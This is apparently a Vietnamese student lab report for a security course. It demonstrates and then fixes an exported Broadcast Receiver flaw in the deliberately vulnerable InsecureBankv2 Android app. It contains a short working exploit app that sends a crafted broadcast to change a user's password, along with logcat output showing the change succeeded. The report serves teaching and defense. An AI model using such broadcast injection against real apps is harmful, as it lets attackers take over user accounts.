

BÁO CÁO THỰC HÀNH

Môn học: Bảo mật web và ứng dụng

Lab 5: Basic Android Secure Programming

GVHD: Nghi Hoàng Khoa

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT213.P11.ATCL.1

STT	Họ và tên	MSSV	Email
1	Tôn Thất Bình	21520639	2152xxxx@gm.uit.edu.vn
2	Nguyễn Văn Hào	20521293	2052xxxx@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Công việc	Kết quả tự đánh giá
1	Bài tập 1	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

Yêu cầu 1: Sinh viên tiếp tục sửa lỗi Broadcast Receivers

- Thực hiện tạo ứng dụng android với file MainActivity như sau:

```
1 package com.example.myapplication;
2
3 import android.os.Bundle;
4
5 import androidx.activity.EdgeToEdge;
6 import androidx.appcompat.app.AppCompatActivity;
7 import androidx.core.graphics.Insets;
8 import androidx.core.view.ViewCompat;
9 import androidx.core.view.WindowInsetsCompat;
10
11 import android.content.Intent;
12
13
14 public class MainActivity extends AppCompatActivity {
15
16     @Override
17     protected void onCreate(Bundle savedInstanceState) {
18         super.onCreate(savedInstanceState);
19         EdgeToEdge.enable(this);
20         setContentView(R.layout.activity_main);
21         ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
22             Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
23             v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
24             return insets;
25         });
26         Intent intent = new Intent("theBroadcast");
27         intent.putExtra("phonenumber", "+8490009090");
28         intent.putExtra("newpass", "Please give me a cup of coffee");
29         sendBroadcast(intent);
30     }
31 }
```

- Tạo tệp android Manifest có nội dung như sau:

```
<activity
    android:name=".MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
</application>
```

- Thực hiện build file .apk và cài đặt file .apk vừa tạo để thực hiện khai thác ứng dụng InSecurebank
- Chạy ứng dụng vừa cài đặt, theo dõi logcat ta thấy được việc khai thác đã thành công:

```
130|x86_64:/ $ logcat | grep -i "For the changepassword"
11-11 17:49:21.260 4678 4678 I System.out: For the changepassword - phonenumber: +8490009090 password is: Updated Password from: Dinesh@123$ to: Please give me a cup of coffee
11-11 17:55:50.022 4678 4678 I System.out: For the changepassword - phonenumber: +8490009090 password is: Updated Password from: Dinesh@123$ to: Please give me a cup of coffee
```

- Để thực hiện vá lỗi, ta thực hiện chỉnh sửa giá trị exported sau thành **false** :

```
<receiver android:exported="false" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
```

- Trong đó:

+ **android:exported="false"**: chỉ định rằng component này KHÔNG thể được gọi bởi các ứng dụng khác. Chỉ có ứng dụng chứa receiver này mới có thể gửi broadcast đến nó.

+ **android:name="com.android.insecurebankv2.MyBroadcastReceiver"** : tên đầy đủ của class BroadcastReceiver, nằm trong package com.android.insecurebankv2

- Thực hiện vá lại ứng dụng, kí và cài đặt. Sau khi kiểm tra lại thì ứng dụng không còn bị khai thác bởi “**Broadcat Receiver**”